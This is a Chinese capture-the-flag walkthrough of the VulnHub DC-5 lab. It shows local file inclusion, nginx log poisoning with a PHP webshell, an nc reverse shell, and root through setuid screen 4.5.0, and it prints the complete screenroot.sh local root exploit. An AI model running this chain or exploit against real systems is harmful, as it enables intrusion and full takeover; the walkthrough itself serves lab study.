vulnhub之DC5靶机
靶机概览
详情介绍请参考下载地址
任务目标:拿下系统的root家目录
下载地址:https://www.vulnhub.com/entry/dc-5,314/
靶机界面:
信息收集
由于我这里采用了NAT,所以很容易确定目标机器,如果你的网络环境里有众多机器,并且系统版本与靶机相似,且不方便更换连接虚拟机的方式,你可以先查看一下DC5的MAC,这样做主机发现时可以通过MAC来过滤靶机。
nmap信息收集
1:使用nmap作网段的主机发现,确定靶机地址是192.168.40.134
2:继续使用nmap对靶机做进一步探测
看这样子,还是先去80端口看看吧
网站信息收集
网站主页的样子,大致可以判断前4个是静态页面,最后一个可以提交信息,只能从最后一个页面来搞
探测漏洞
看着这个页面就想起留言板,想起留言板就想起XSS,随便来个XSS测试代码试试
把URL的参数部分全部去掉,再刷新一下页面,发现Copyright
的年份变了,再刷新页面,年份又变了,说明Copyright
不是HTML写的,可能是后台的动态脚本写的
可能会存在本地文件包含,先试一试目录**
目录探测
使用御剑,已经扫出一些结果了,依次访问,发现第6条有点价值
当刷新http://192.168.40.134/footer.php
时,发现Copyright
在变,而刷新http://192.168.40.134/thankyou.php
同理,可以确认,网站存在文件包含。
文件包含
上面已经发现靶机存在文件包含,但是如果想要利用的话,就必须确认这个文件包含的动态的,是可控的,而要确认这一点,首先需要知道它实现包含的参数是什么?盲猜一个:
http://192.168.40.134/thankyou.php?path=footer.php
很明显,失败了,上BurpSuite
参数极有可能是file
,令参数为file
,路径为/etc/passwd
,执行成功。
说明靶机确实存在文件包含漏洞
那么,接下来需要判断他是不是可以远程文件包含,如果可以的话,那就直接上木马,如果没有,再另寻他法。
发现不支持远程文件包含,那只能本地文件包含了
渗透攻击
由于已经确定只能本地文件包含,那就可以考虑报错攻击,写一个payload传进去让服务器报错,找到服务器的日志,再去利用payload
找出日志服务器
上BurpSuite**日志目录
发现日志在/var/log/nginx/access.log
打开之后很恐怖,应该是因为前面的**导致产生大量错误日志,自己又忘了做快照,唉,重新导入一下靶机。
瞬间轻松了许多
一句话木马
原始文件
改写后的文件
刷新日志,发现写入成功
上中国蚁剑
去/tmp目录下新建一个文件,名字随意,我这里迷惑一下机器。
警告,虽然蚁剑连接成功了,但毕竟是在日志目录下,日志一直在读写,对我们的操作不利。
文件包含漏洞的特点:
无视文件扩展名读取文件
无条件解析PHP代码
重新写一个简单的一句话木马
打开木马(显示的404正好符合预期,文件第一行就是404)
得到一个新的稳定的shell
提权
首先需要明确,不能使用蚁剑提权,因为HTTP是瞬时协议,我这边正提权呢,你那边TCP四次挥手断开连接了,不能持久连接,所以蚁剑的作用就在于上传文件来反弹shell。
先看一下自己是谁,是个小菜鸡
进root家也是痴心妄想
反弹shell
注意到靶机有nc,并且有-e参数
kali开启监听
蚁剑反弹
kali拿到shell
交互式shell
由于上面的shell不好用,下面通过python来建立交互式shell
交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
或者
python -c 'import pty; pty.spawn("/bin/bash")'
接着考虑怎样提权,先找找有没有 命令是root权限且不需要密码的,没有。再找找能不能SUID提权,看见screen-4.5.0
了,试一试
辅助工具提取
获取脚本
接下来可以用蚁剑直接把脚本上传到靶机上去,这里玩一个骚操作
本机开80端口,让蚁剑下载文件到靶机上
1:kali开启80端口
2:火狐访问确认正常
3:蚁剑下载到靶机/tmp
目录
en,,,,,蚁剑WGET不下来,还是用命令行吧
使用反弹shell的kali端
4:执行脚本
手工执行脚本
先来看一下脚本是怎么写的吧
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
手工执行编译,忽略报错
把脚本上传到靶机上面,还是python开80了,用蚁剑的WGET,就不信了还上传不上去,注意,是上传上图中绿色的那三个文件
三个文件全部上传成功
来到kali下的反弹shell的界面,运行脚本,提权成功